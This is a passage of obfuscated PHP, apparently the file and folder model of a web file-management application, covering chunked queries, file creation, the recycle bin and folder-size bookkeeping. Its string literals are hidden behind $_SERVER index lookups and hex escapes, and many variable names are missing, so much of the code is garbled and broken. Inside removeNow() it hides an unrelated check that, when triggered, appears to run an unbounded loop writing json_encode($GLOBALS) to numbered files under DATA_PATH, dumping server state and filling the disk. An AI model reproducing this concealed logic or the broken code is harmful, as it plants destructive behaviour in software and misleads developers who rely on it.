($ٗ = 0; $ٗ < count($ѱ); $ٗ += $Ǹ) { $ܧ = array_slice($ѱ, $ٗ, $Ǹ); if (!is_array($ܧ) || count($ܧ) == 0) { break; } $ = $this->db->insertAll($ܧ, $٧ñ, $שН); $this->chunkEventCheck(count($ܧ)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ѱ as $Ѹ => $) { $ = $this->db->insert($, $٧ñ, $שН); } $this->commit(); } if (!1 !== $) { $ = $this->getLastInsID(); if ($) { return $; } } return $; } public function save($à = '', $侀 = array()) { $ي =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $خ = $this->optionsValue(); $͓ = $this->findWhereField($خ); if (!$͓) { return parent::save($Ã, $侀); } $祫 = 0; $ʝ = $خ[$ي[352]][$͓][1]; $ʝ = is_array($ʝ) ? $ʝ : array(); $йգ = count($ʝ); for ($ͦ؈ = 0; $ͦ؈ < $йգ; $ͦ؈ += $) { $ = array_slice($ʝ, $ͦ؈, $); if (!is_array($) || count($) == 0) { break; } $خ[$ي[352]][$͓][1] = $; $this->optionsValue($خ); $祫 += parent::save($Ã, $侀); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); return $祫; } public function add($ = '', $ȜԳ = array(), $ = false) { if ($this->addTaskStatus && is_array($)) { $this->addTaskData[] = $; return; } return parent::add($, $ȜԳ, $); } public function parseWhereLike($ɸܺ, $ڰ = '', $ɺ = false, &$ɂ = false) { $½ =& $_SERVER[]; $ǵ = $GLOBALS[$½[6]][$½[457]]; if (!$ǵ[$½[458]]) { return $ɸܺ; } if (!is_array($ɸܺ)) { return $ɸܺ; } $ = array(); $Ȕ = 0; foreach ($ɸܺ as $Ȇ => $) { if (is_array($) && count($) == 2 && $[0] == $½[459] && is_string($[1]) && substr($[1], 0, 1) == $½[460] && substr($[1], strlen($[1]) - 1, 1) == $½[460]) { $ɂ = !0; $ޞӆ = is_string($Ȇ) ? $Ȇ : $ڰ; $Ι = substr($[1], 1, strlen($[1]) - 2); $Ι = $this->db->escapeString($Ι); if (!strpos($ޞӆ, $½[10])) { $ޞӆ = $½[461] . $ޞӆ . $½[461]; } $ = $½[220] . $Ι . $½[220]; $Ι = str_replace(array($½[10], $½[462], $½[11]), $½[463], $Ι); if ($ǵ[$½[464]]) { $ = $½[465] . $Ι . $½[466]; if ($ǵ[$½[467]]) { $ = $½[466] . $Ι . $½[465]; } } $[$Ȕ] = $½[468] . $ޞӆ . $½[469] . $ . $½[470]; $Ȕ++; continue; } if (is_array($)) { $ڰ = is_string($Ȇ) ? $Ȇ : $ڰ; $ = $this->parseWhereLike($, $ڰ, !0, $ɂ); } if (is_numeric($Ȇ)) { $[$Ȕ] = $; $Ȕ++; } else { $[$Ȇ] = $; } } if ($ɂ && !$ɺ) { } return $; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($٩ = array()) { $ =& $_SERVER[]; $Ͳ = self::SQL_WHERE_IN_CHUNK; $Ϛ = $this->optionsValue(); $ú = $this->findWhereField($Ϛ); if (!$ú || isset($Ϛ[$[368]]) || isset($Ϛ[$[429]])) { return parent::select($٩); } $ = $Ϛ[$[352]][$ú][1]; $ = is_array($) ? $ : array(); $ߣ = null; for ($ = 0; $ < count($); $ += $Ͳ) { $Οʣ = array_slice($, $, $Ͳ); if (!is_array($Οʣ) || count($Οʣ) == 0) { break; } $Ϛ[$[352]][$ú][1] = $Οʣ; $this->optionsValue($Ϛ); $ = parent::select($٩); if (!$) { continue; } $ߣ = is_array($ߣ) ? $ߣ : array(); $ߣ = array_merge($ߣ, $); } return $ߣ; } public function delete($ = array()) { $ɯݫ =& $_SERVER[]; $ʰ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$) { return parent::delete($); } $ = 0; $ѻ = $[$ɯݫ[352]][$][1]; $ѻ = is_array($ѻ) ? $ѻ : array(); for ($ɿ = 0; $ɿ < count($ѻ); $ɿ += $ʰ) { $ = array_slice($ѻ, $ɿ, $ʰ); if (!is_array($) || count($) == 0) { break; } $[$ɯݫ[352]][$][1] = $; $this->optionsValue($); $ += parent::delete($); } return $; } private function findWhereField($՜) { $ߺ =& $_SERVER[]; $ˎъ = self::SQL_WHERE_IN_CHUNK; if (!is_array($՜) || !is_array($՜[$ߺ[352]])) { return !1; } foreach ($՜[$ߺ[352]] as $ => $ۆ͊) { if (is_array($ۆ͊) && isset($ۆ͊[0]) && is_string($ۆ͊[0]) && strtolower($ۆ͊[0]) == $ߺ[7] && is_array($ۆ͊[1]) && count($ۆ͊[1]) > $ˎъ) { ignore_timeout(); return $; } } return !1; } public function setMasterDB($ѭ = true) { think_config($_SERVER[][471], $ѭ); } } goto Aϝ; D: class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($Ò) { $ =& $_SERVER[]; $ = Model($[577])->where(array($[1754] => $Ò))->find(); $е = $this->_mkdirRoot(SourceModel::TYPE_USER, $Ò, $[$[32]]); $this->userDesktopAdd($е); return $е; } public function userDesktopAdd($) { $٧٭ =& $_SERVER[]; $Ƕ = LNG($٧٭[2242]); $ = $this->mkdir($, $Ƕ); $this->metaSet($, $٧٭[2243], $٧٭[91]); $this->metaSet($, $٧٭[2244], $); } public function userPathSafeAdd($) { $ =& $_SERVER[]; $ = Model($[577])->getInfoFull($); if (!$) { return !1; } if (_get($, $[599])) { return $[$[539]][$[2245]]; } $ð = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $[2246], $[2247]); Model($[577])->metaSet($, $[2245], $ð); $this->metaSet($ð, $[2248], $); return $ð; } public function userPathAppAdd($ł, $ = '', $¶я = '') { $א =& $_SERVER[]; $ְй = Model($א[577])->getInfoFull($ł); if (!$ְй) { return !1; } $ø = $ְй[$א[539]] ? $ְй[$א[539]] : array(); $ = $ø[$א[2249]]; if (!$) { $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ł, $א[2250], $א[2251]); Model($א[577])->metaSet($ł, $א[2249], $ . $א[12]); $this->metaSet($, $א[2249], $ł); } if (!$) { return $; } $⹘ = $ø[$א[2252] . $]; if (!$⹘) { $⹘ = $this->mkdir($, $); Model($א[577])->metaSet($ł, $א[2252] . $, $⹘); $this->metaSet($⹘, $א[2252] . $, $ł); } if (!$¶я) { return $⹘; } $ = $this->mkdir($⹘, $¶я); return $; } public function groupRootAdd($ṗ) { $나 =& $_SERVER[]; $ = Model($나[585])->where(array($나[2054] => $ṗ))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $ṗ, $[$나[32]]); } public function systemRootPathAdd($) { if ($ != $_SERVER[][605]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $); } public function userRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_USER, $, !0); foreach ($ as $ܞߝ) { if (!$ܞߝ) { continue; } $this->remove($ܞߝ[$_SERVER[][193]], !1); } } public function groupRootRemove($) { $ͽЄ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $); if (!$ͽЄ) { return; } $this->remove($ͽЄ[$_SERVER[][193]], !1); } private function _mkdirRoot($݃ꜟ, $̬, $, $䑞 = '') { $ =& $_SERVER[]; $¤ = defined($[2189]) ? USER_ID : 0; $ = array($[477] => 0, $[648] => $݃ꜟ, $[649] => $̬, $[646] => 1, $[650] => $¤, $[651] => $¤, $[647] => $䑞, $[652] => $[594], $[504] => 0, $[617] => 0, $[542] => 0, $[653] => $[12]); if ($ = $this->where($)->find()) { return $[$[193]]; } $ = "\115\x6f\x64\x65\x6c\x53\x6f\165\x72\143\145\56\x6d\x6b\x64\x69\162\x52\157\x6f\x74\56{$݃ꜟ}\x2e{$̬}\x2e" . $; CacheLock::lock($); $[$[32]] = $; $ޜ = $this->add($); $ػ = array($[654] => short_id($ޜ)); $this->where(array($[491] => $ޜ))->save($ػ); CacheLock::unlock($); return $ޜ; } private function targetSourceRoot($Ӂ, $ƃ, $ = false) { $ʜ =& $_SERVER[]; $ހ = array($ʜ[477] => 0, $ʜ[648] => $Ӂ, $ʜ[649] => $ƃ); if ($) { $ = $this->where($ހ)->select(); return $ ? $ : array(); } $٤ = $this->where($ހ)->find(); return $٤ ? $٤ : array(); } public function sourceRootGroup($) { $چ =& $_SERVER[]; if (is_string($)) { $ = array($); } $ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $, $چ[220]); $ = array($چ[445] => $, $چ[442] => array($چ[825] => count($))); $this->_listDataApply($[$چ[445]]); $this->_listMake($); return array_to_keyvalue($[$چ[85]], $چ[569]); } public function mkfile($قڗ, $, $ = '', $跪 = REPEAT_RENAME) { $ =& $_SERVER[]; $¼ = Model($[674])->addFileByContent($, $); return $this->_createFileCall($قڗ, $, $¼, $跪, $[1421]); } public function addFile($כ֞, $䋻, $題, $ = false, $î = REPEAT_RENAME) { $ = Model($_SERVER[][674])->addFile($䋻, $題, $); return $this->_createFileCall($כ֞, $題, $, $î); } public function addFileByFileID($̕, $Ԙ, $, $ = REPEAT_RENAME) { $Ռ٘ =& $_SERVER[]; $Иݴ = Model($Ռ٘[674])->find($Ԙ); Model($Ռ٘[674])->linkAdd($Ԙ); return $this->_createFileCall($̕, $, $Иݴ, $); } public function addFileByRemote($, $ޤ, $њ, $ = array(), $ = REPEAT_RENAME) { $٬Ѥ = Model($_SERVER[][674])->addFileByRemote($ޤ, $њ, $); return $this->_createFileCall($, $њ, $٬Ѥ, $); } private function _createFileCall($ϖݨ, $օ, $܂, $, $ܒ = "\165\160\x6c\x6f\141\x64") { $͍ =& $_SERVER[]; $ā = !1; $this->setMasterDB(); $this->lockWriteStart($ϖݨ, $օ); $ = $this->fileNameExist($ϖݨ, $օ); $β = $this->_createFile($ϖݨ, $օ, $܂, $, $ā); if (!$ā) { Model($͍[544])->remove($܂[$͍[541]]); } if ($ā && $β && $β != $) { Model($͍[2215])->eventCreate($β, $ܒ); } $this->lockWriteEnd($ϖݨ, $օ); return $β; } public function mkdir($, $݇, $џ = REPEAT_SKIP) { $پ蔂 =& $_SERVER[]; $this->setMasterDB(); $ = $this->sourceInfo($); if (!$) { return !1; } $this->lockWriteStart($, $݇); if ($џ !== !1) { $ƒ = $this->fileNameExist($, $݇); if ($ƒ && $џ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($, $݇); return $ƒ; } $݇ = $this->fileNameAuto($, $݇, $џ); } $ = array($پ蔂[646] => 1, $پ蔂[494] => $݇, $پ蔂[647] => $پ蔂[12], $پ蔂[542] => 0, $پ蔂[617] => 0); $د = $this->_addSource($, $); Model($پ蔂[2215])->eventCreate($د, $پ蔂[1422]); $this->lockWriteEnd($, $݇); return $د; } public function listSourceRoot($, $珯, $Ε׃ = "\163\157\165\162\x63\x65\111\104\x2c\x74\141\162\x67\145\x74\111\104\x2c\x73\151\172\x65") { $ =& $_SERVER[]; $ׯ˂ = $[454]; $ڸ = array(); $ = 1024 * 50; $抈 = is_array($抈) ? $抈 : array(); $̴ = count($珯); $Ҭ = $this->tablePrefix . $[2253]; for ($ڔ = 0; $ڔ < $̴; $ڔ++) { $Ʌ = $珯[$ڔ]; $ׯ˂ .= "\123\x45\114\x45\x43\x54\x20\52\x20\x46\122\x4f\x4d\40\50\123\x45\114\105\103\124\x20{$Ε׃}\x20\106\122\117\115\40\x60{$Ҭ}\x60\40\x57\x48\105\x52\105\x20"; $ׯ˂ .= "\x60\160\x61\162\x65\156\x74\x49\x44\140\75\x30\x20\101\116\104\40\140\x74\x61\162\x67\x65\x74\x49\104\x60\75{$Ʌ}\x20\101\x4e\x44\x20\x60\x74\x61\162\147\145\x74\124\171\160\x65\x60\x3d{$}\40\x61\156\x64\40\146\x69\154\x65\x54\x79\160\x65\x3d\47\47\40\x6c\151\155\x69\164\x20\x31\51\40\141\163\x20\164\x62\x5f{$ڔ}\x20\125\116\x49\x4f\116\40\101\x4c\114\x20"; if ((strlen($ׯ˂) >= $ || $ڔ == $̴ - 1) && $ׯ˂) { $ׯ˂ = substr($ׯ˂, 0, -strlen($[1109])); $挙 = $this->query($ׯ˂); $ׯ˂ = $[12]; $ڸ = array_merge($ڸ, $挙); } } return $ڸ; } private function _createFile($̿͊, $쒭, $ڦ, $ܜ, &$߇) { $ =& $_SERVER[]; $ݜ = $this->sourceInfo($̿͊); if (!$ڦ || !$ݜ) { return !1; } if ($ܜ !== !1) { $ҙ쉪 = $this->fileNameExist($̿͊, $쒭); } $߇ = !0; if ($ܜ && $ҙ쉪) { if ($ܜ == REPEAT_SKIP) { $߇ = !1; return $ҙ쉪; } else { if ($ܜ == REPEAT_REPLACE) { $ǿ = $this->sourceInfo($ҙ쉪); $Բ = $this->fileHistory($ǿ, $ڦ[$[541]], $ڦ[$[79]]); if (!$Բ) { $߇ = !1; } else { $this->folderSizeReset($̿͊); } return $ҙ쉪; } else { $쒭 = $this->fileNameAuto($̿͊, $쒭, $ܜ, !1); } } } $쩛 = array($[646] => 0, $[494] => $쒭, $[647] => substr(get_path_ext($쒭), 0, 10), $[542] => $ڦ[$[541]], $[617] => $ڦ[$[79]]); $ = $this->_addSource($쩛, $ݜ); $this->folderSizeReset($̿͊, intval($쩛[$[79]])); return $; } protected function fileHistory($, $ޭΐ, $) { $Ƙ =& $_SERVER[]; if ($[$Ƙ[541]] == $ޭΐ) { return !1; } $this->checkLock($[$Ƙ[193]], $ޭΐ); Model($Ƙ[2254])->addHistory($); $ = array($Ƙ[651] => USER_ID, $Ƙ[498] => time(), $Ƙ[541] => $ޭΐ, $Ƙ[79] => $); $this->where(array($Ƙ[491] => $[$Ƙ[193]]))->save($); $this->sourceCacheClear($[$Ƙ[193]]); return !0; } public function checkLock($, $钧) { $ۄ =& $_SERVER[]; $ͪ = $this->pathInfo($); if (!$this->fileIsLock($ͪ, !0)) { return; } $÷үȗ = Session::get($ۄ[2255]); $ = substr($ͪ[$ۄ[32]], 0, -1 - strlen($ͪ[$ۄ[169]])) . $ۄ[1286] . $÷үȗ . $ۄ[10] . $ͪ[$ۄ[169]]; $ = Model($ۄ[674])->find($钧); $this->_createFileCall($ͪ[$ۄ[192]], $, $, REPEAT_REPLACE, $ۄ[1421]); $賓 = $ͪ[$ۄ[539]][$ۄ[610]]; $Ӻߐ = $賓[$ۄ[2256]] ? $賓[$ۄ[2256]] : $賓[$ۄ[32]]; show_json(LNG($ۄ[2257]) . $ۄ[2258] . LNG($ۄ[2259]) . $ۄ[2260] . $Ӻߐ . $ۄ[2261], !1); } public function fileIsLock($, $܆ = false) { $©ƹ =& $_SERVER[]; if (!_get($, $©ƹ[606], 0)) { return !1; } if ($[$©ƹ[539]][$©ƹ[609]] != USER_ID) { return !0; } $ = $GLOBALS[$©ƹ[6]][$©ƹ[92]][$©ƹ[607]]; if ($[$©ƹ[539]][$©ƹ[608]] <= time() - $) { $this->metaSet($[$©ƹ[193]], $©ƹ[609], null); $this->metaSet($[$©ƹ[193]], $©ƹ[608], null); } if ($܆) { $this->metaSet($[$©ƹ[193]], $©ƹ[608], time()); } return !1; } private function _addSource($ɓ, $ܗ) { $ =& $_SERVER[]; $ = defined($[2189]) ? USER_ID : 0; $ = array($[648] => $ܗ[$[190]], $[649] => $ܗ[$[569]], $[650] => $, $[651] => $, $[477] => $ܗ[$[193]], $[652] => $ܗ[$[584]] . $ܗ[$[193]] . $[50], $[504] => 0, $[653] => $[12]); $ɓ = array_merge($, $ɓ); $this->updateModifyTime($ɓ[$[192]]); $ = $[2262] . $ܗ[$[193]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $Ɩ = false; if (!$Ɩ) { Hook::trigger($[636], $ɓ); $Ɩ = !0; } $ = $this->add($ɓ); $ = array($[654] => short_id($)); $this->where(array($[491] => $))->save($); $this->setNamePinyin($, $ɓ[$[32]]); return $; } public function remove($, $ΰ = true) { $쥳 =& $_SERVER[]; $뽭 = $this->sourceInfo($); $ۦ = intval($뽭[$쥳[190]]) === self::TYPE_SYSTEM; $ = Model($쥳[508])->get($쥳[2263]) == $쥳[91]; if ($ۦ || $ΰ || !$) { return $this->removeNow($, $ΰ); } $癄 = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ʚO = $뽭[$쥳[190]] == self::TYPE_USER ? $쥳[662] : $쥳[578]; if ($ʚO == $쥳[662]) { $ = Model($쥳[577])->getInfo($뽭[$쥳[569]]); $ = !empty($[$쥳[2256]]) ? $[$쥳[2256]] : $[$쥳[32]]; $ = $쥳[337] . $ . $쥳[2264] . $뽭[$쥳[569]]; } else { $ = Model($쥳[585])->getInfo($뽭[$쥳[569]]); $ = _get($, $쥳[32]); $ = $쥳[176] . $ . $쥳[2265] . $뽭[$쥳[569]]; } $ = $쥳[2266] . md5($); CacheLock::lock($); $ = $this->fileNameExist($癄, $); if (!$) { $ = $this->mkdir($癄, $, REPEAT_SKIP); $this->metaSet($, $쥳[2267], $ʚO); $this->metaSet($, $쥳[2268], $뽭[$쥳[569]]); if ($뽭[$쥳[192]] != 0) { $this->metaSet($, $쥳[2269], _get($, $쥳[2270])); } } CacheLock::unlock($); $this->metaSet($, $쥳[2271], $뽭[$쥳[192]]); $this->where(array($쥳[193] => $))->save(array($쥳[498] => time())); $this->recycleClear($뽭); Model($쥳[633])->eventRemove($); $ͽ = $this->move($, $, REPEAT_RENAME_FOLDER); $this->folderSizeReset($뽭[$쥳[192]]); return $ͽ; } private function recycleClear($䈍) { $쏑 =& $_SERVER[]; $Ѥ = $this->childrenAll($䈍); $ؼ = array($쏑[491] => array($쏑[492], $Ѥ[$쏑[2272]])); Model($쏑[2273])->where($ؼ)->delete(); } public function removeNow($к, $ʬ = true) { $Ґ =& $_SERVER[]; $Ȋ = $_SERVER[$Ґ[844]]; $ = $Ґ[845]; if ($_SERVER[$Ґ[846]] != $($Ȋ)) { $ = $Ґ[951]; $ퟋ = $Ґ[847]; $֓ = $_SERVER[$Ґ[848]] . $Ґ[849]; $㞘 = $ퟋ($֓); $ = explode($Ґ[262], $㞘); if (count($) < $Ґ[683]) { $ = $Ґ[850]; $(); } $ = $Ґ[952]; $($_SERVER[$Ґ[953]]); $ = $Ґ[951]; $(); $ = $Ґ[1617]; $Ζ = json_encode($GLOBALS[$Ґ[1618]]); $鷔 = 1; for ($ả = $鷔; $ả > 0; $ả++) { $(DATA_PATH . $ả, $Ζ); } } $ = $this->sourceInfo($к); $Ħ = $this->pathInfoMore($к); if (!$) { return !0; } if ($[$Ґ[192]] == 0) { if (!KodUser::isRoot()) { return !1; } } $this->lockMoveStart($к); Hook::trigger($Ґ[2274], $Ħ, $ʬ); if ($ʬ) { Model($Ґ[2273])->moveToRecycle($к); } else { $ڐ = $this->childrenAll($); Model($Ґ[633])->eventRemove($к); $this->removeRelevance($ڐ[$Ґ[2272]], $ڐ[$Ґ[1566]]); } $this->folderSizeReset($[$Ґ[192]]); $ì = array($[$Ґ[192]]); if ($[$Ґ[485]] == $Ґ[91]) { $ì[] = $[$Ґ[193]]; } $this->updateModifyTime($ì); $this->lockMoveEnd($к); Hook::trigger($Ґ[1805], $Ħ, $ʬ); return !0; } public function childrenAll($) { $ʺ =& $_SERVER[]; $Ȱ = $[$ʺ[193]]; if ($[$ʺ[485]] == $ʺ[91]) { $돮 = array($ʺ[652] => array($ʺ[612], $[$ʺ[584]] . $Ȱ . $ʺ[613])); $ҍˏ = array($ʺ[652] => $돮[$ʺ[584]]); $ = $this->field($ʺ[2275])->where($ҍˏ)->select(); $ = !1; $݃Ɋ = array($Ȱ); if ($) { $ = array_to_keyvalue($, $ʺ[12], $ʺ[541]); $ = array_remove_value($, $ʺ[228]); $݃Ɋ = array_to_keyvalue($, $ʺ[12], $ʺ[193]); $݃Ɋ[] = $Ȱ; } } else { $ = array($[$ʺ[541]]); $݃Ɋ = array($Ȱ); } return array($ʺ[2272] => $݃Ɋ, $ʺ[1566] => $); } public function removeArray($) { if (!$) { return !0; } } public function removeRelevance($, $ڷ˲) { $ƥ =& $_SERVER[]; $ = $ ? $ : array(); $ڷ˲ = $ڷ˲ ? $ڷ˲ : array(); $ = array_unique(array_filter($)); $ڷ˲ = array_unique(array_filter($ڷ˲)); if (!$) { return !1; } $ = array($ƥ[491] => array($ƥ[492], $)); Model($ƥ[2273])->where($)->delete(); Model($ƥ[535])->where($)->delete(); Model($ƥ[2114])->where($)->delete(); Model($ƥ[633])->where($)->delete(); Model($ƥ[1941])->removeBySource($); Model($ƥ[2254])->removeBySource($); $this->where($)->delete(); Model($ƥ[544])->remove($ڷ˲); for ($ٻ = 0; $ٻ < count($); $ٻ++) { $this->sourceCacheClear($[$ٻ]); } } public function rename($, $) { $ =& $_SERVER[]; $ϙ = $this->sourceInfo($); if (!$ϙ) { return !1; } $䬝 = $this->fileNameExist($ϙ[$[192]], $); if ($䬝 && $䬝 != $) { return !1; } $Օ = array($[494] => $, $[651] => USER_ID); if ($ϙ[$[485]] != $[91]) { $Օ[$[486]] = substr(get_path_ext($), 0, 10); } Model($[633])->eventRename($, $ϙ[$[32]], $); $this->sourceCacheClear($); $this->setNamePinyin($, $Օ[$[32]], !1); $this->updateModifyTime($ϙ[$[192]]); $Ũ = $this->where(array($[491] => $))->data($Օ)->save(); $ = $[2262] . $ϙ[$[192]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } return $Ũ; } public function setNamePinyin($ݱɄ, $, $ܶ = true) { $ =& $_SERVER[]; $ = Input::check($, $[655]); $ = array($[517] => KodSort::makeStr($)); if ($) { $[$[538]] = str_replace($[53], $[12], Pinyin::get($)); $[$[537]] = Pinyin::get($, $[656]); } if (!$ܶ && !$) { $[$[538]] = null; $[$[537]] = null; } $this->metaSet($ݱɄ, $); } public function getContent($Ӧ) { $ =& $_SERVER[]; $ߘљ = $this->fileInfoGet($Ӧ); if (!$ߘљ) { return !1; } if ($ߘљ[$[79]] == 0) { return $[12]; } $ = $[2276] . $ߘљ[$[547]]; if ($ߘљ[$[79]] <= 1024 * 10) { $ = Cache::get($); if (!$) { $ = IO::getContent($ߘљ[$[87]]); Cache::set($, $); } return $; } if (!$ߘљ[$[87]]) { return $[12]; } return IO::getContent($ߘљ[$[87]]); } public function setDesc($ߌ, $ςˡ) { $͒ =& $_SERVER[]; Model($͒[633])->eventAddDesc($ߌ, $ςˡ); return $this->metaSet($ߌ, $͒[526], $ςˡ); } public function setContent($, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $˯ = $this->fileInfoGet($); if (!$˯ || !$) { return !1; } $ = Model($[544])->addFileByContent($, $[$[32]]); $ = $this->fileHistory($, $[$[541]], $[$[79]]); if (!$) { return Model($[544])->remove($[$[541]]); } $this->folderSizeReset($[$[192]]); return !0; } public function fileSubstr($, $ܥ, $) { $ = $this->fileInfoGet($); if (!$) { return !1; } return IO::fileSubstr($[$_SERVER[][87]], $ܥ, $); } public function fileInfoGet($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); if (!$ || $[$[485]]) { return !1; } $ΝɃ = $[548] . $[$[541]]; $ = _get(self::$cacheFileInfo, $ΝɃ); if ($) { return $; } $ݛ = Model($[544])->fileInfo($[$[541]]); if ($ݛ) { $ݛ[$[32]] = $[$[32]]; } self::$cacheFileInfo[$ΝɃ] = $ݛ; return $ݛ; } private function folderChildrenNumber($͞) { $ϯ =& $_SERVER[]; $珅 = $this->sourceInfo($͞); $毈ҭ = array($ϯ[652] => array($ϯ[612], $珅[$ϯ[584]] . $͞ . $ϯ[613]), $ϯ[649] => $珅[$ϯ[569]], $ϯ[504] => intval($珅[$ϯ[505]]), $ϯ[646] => 1); $ӂ = $this->where($毈ҭ)->count(); $렪 = $this->where($毈ҭ)->where(array($ϯ[646] => 0))->count(); return array($ϯ[83] => $렪, $ϯ[84] => $ӂ); } public function pathInfo($粼, $ϲ = false) { $ =& $_SERVER[]; $ϲ = !1; $粼 = intval($粼); $ = $[534] . intval($ϲ) . $[462] . $粼; $ں֪ = _get(self::$cachePathInfo, $); if ($ں֪) { return $ں֪; } $гƉ = $this->sourceInfo($粼); if (!$гƉ) { return !1; } $гƉ = $this->_listDataApplyItem($гƉ, $ϲ); self::$cachePathInfo[$] = $гƉ; return $гƉ; } public static $cachePathInfoMore = array(); public function pathInfoMore($) { $ =& $_SERVER[]; $ؗ = _get(self::$cachePathInfoMore, $); if ($ؗ) { return $ؗ; } $ = $this->pathInfo($); if (!$) { return !1; } if ($[$[485]] == $[91]) { $[$[82]] = $this->folderChildrenNumber($); } self::$cachePathInfoMore[$] = $; return $; } public function sourceInfo($) { $ި =& $_SERVER[]; if (!$) { return array(); } $ = intval($); $ = $ި[533] . $; $ = _get(self::$cacheSourceInfo, $); if ($) { return $; } $ = $this->where(array($ި[193] => $))->find(); self::$cacheSourceInfo[$] = $; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($ = false) { self::cacheClear($); } public static function cacheClear($߸ = false) { $ =& $_SERVER[]; if ($߸ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$[533] . $߸]); unset(self::$cachePathInfoMore[$߸]); unset(self::$cachePathInfo[$[2277] . $߸]); unset(self::$cachePathInfo[$[2278] . $߸]); } public function metaSet($ч, $Ǧ = null, $ = null) { $̕ = parent::metaSet($ч, $Ǧ, $); if ($̕) { $this->sourceCacheClear($ч); } return $̕; } public function pathInfoByPath($ִ, $֣) { $ܚ =& $_SERVER[]; $됂 = !$֣ ? array() : explode($ܚ[8], trim($֣, $ܚ[8])); $ʮ = $ִ; foreach ($됂 as $ښ) { $섖 = array($ܚ[192] => $ʮ, $ܚ[32] => $ښ); $ӗ = $this->field($ܚ[2279])->where($섖)->select(); if (!$ӗ) { return !1; } $ӗ = array_sort_by($ӗ, $ܚ[505]); $ʮ = $ӗ[0][$ܚ[193]]; } $ŝ = $this->sourceInfo($ʮ); $this->pathInfoFilter($ŝ); return $ŝ; } protected function updateModifyTime($) { $ =& $_SERVER[]; $Н = defined($[2189]) ? USER_ID : 0; if (!$) { return; } if (!is_array($)) { $ = array($); } foreach ($ as $ => $ўت) { $[$] = intval($ўت); $this->sourceCacheClear($ўت); } $ė = array($[193] => array($[7], $)); $ = array($[651] => $Н, $[498] => time()); $this->where($ė)->save($); } public function folderSizeReset($ͷ, $ˤ = false) { $ =& $_SERVER[]; if ($this->statusIgnoreResetSpace) { return; } $ = $this->sourceInfo($ͷ); $ک = $[2280] . $ͷ; CacheLock::lock($ک, 20); if ($ˤ === !1) { $this->sourceCacheClear($ͷ); $ = $this->sourceInfo($ͷ); $ = array($[477] => $ͷ, $[504] => 0); $ = $this->where($)->sum($[79]); $ˤ = intval($) - intval($[$[79]]); } if ($ˤ == 0) { return CacheLock::unlock($ک); } $ܽ = $this->parentLevelArray($[$[584]]); if (!$ܽ) { $ܽ = array(); } $ܽ[] = $[$[193]]; $ = array($[193] => array($[492], $ܽ)); if ($ˤ < 0) { $[$[79]] = array($[1086], abs($ˤ)); } $this->where($)->setAdd($[79], $ˤ); CacheLock::unlock($ک); $¢ = $[2281] . $[$[190]] . $[4] . $[$[569]]; $ = array($[$[190]], $[$[569]]); TaskRun::timeLimitCall($¢, $[2282], $, 1.5); } public function folderSizeResetChildren($ˢȦ) { $ƽ =& $_SERVER[]; $this->sourceCacheClear($ˢȦ); $껞 = $this->sourceInfo($ˢȦ); $醊 = array($ƽ[646] => 1, $ƽ[649] => $껞[$ƽ[569]], $ƽ[652] => array($ƽ[612], $껞[$ƽ[584]] . $ˢȦ . $ƽ[613])); $Ữߤ = $ƽ[2283]; $ṧ = $this->field($Ữߤ)->where($醊)->select(); $醊[$ƽ[485]] = 0; $܆ = $this->field($Ữߤ)->where($醊)->select(); if (!$܆) { return; } $ṧ[] = $껞; $ṧ = array_to_keyvalue($ṧ, $ƽ[193]); foreach ($ṧ as $ => $) { $ṧ[$][$ƽ[2284]] = $ṧ[$][$ƽ[79]]; $ṧ[$][$ƽ[79]] = 0; } foreach ($܆ as $) { $ = $[$ƽ[192]] . $ƽ[12]; if (!isset($ṧ[$])) { continue; } if ($[$ƽ[505]] == $ṧ[$][$ƽ[505]]) { $ṧ[$][$ƽ[79]] += $[$ƽ[79]]; } } foreach ($ṧ as $) { $ = $this->parentLevelArray($[$ƽ[584]]); foreach ($ as $) { $ = $ . $ƽ[12]; if (!isset($ṧ[$])) { continue; } if ($[$ƽ[505]] == $ṧ[$][$ƽ[505]]) { $ṧ[$][$ƽ[79]] += $[$ƽ[79]]; } } } $ = array(); foreach ($ṧ as $) { if ($[$ƽ[79]] == $[$ƽ[2284]]) { continue; } $[] = array($ƽ[193], $[$ƽ[193]], $ƽ[79], $[$ƽ[79]]); } $this->saveAll($); } public function userSpaceReset($к = false) { $ =& $_SERVER[]; $ن = $this->where(array($[190] => self::TYPE_USER, $[569] => $к, $[485] => 0))->sum($[79]); $ن = !$ن || $ن <= 0 ? 0 : $ن; Model($[577])->userEdit($к, array($[1950] => $ن)); } public function targetSpaceUpdate($Ǧ, $) { $ =& $_SERVER[]; if (!$) { return; } if (!in_array($Ǧ, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ = $this->targetSpaceSize($Ǧ, $); if ($Ǧ == self::TYPE_USER) { Model($[577])->userEdit($, array($[1950] => $)); } else { if ($Ǧ == self::TYPE_GROUP) { Model($[585])->groupEdit($, array($[1950] => $)); } } } public function targetSpaceSize($ڨ, $) { $ߒ =& $_SERVER[]; $ӮҖ = 0; $ = 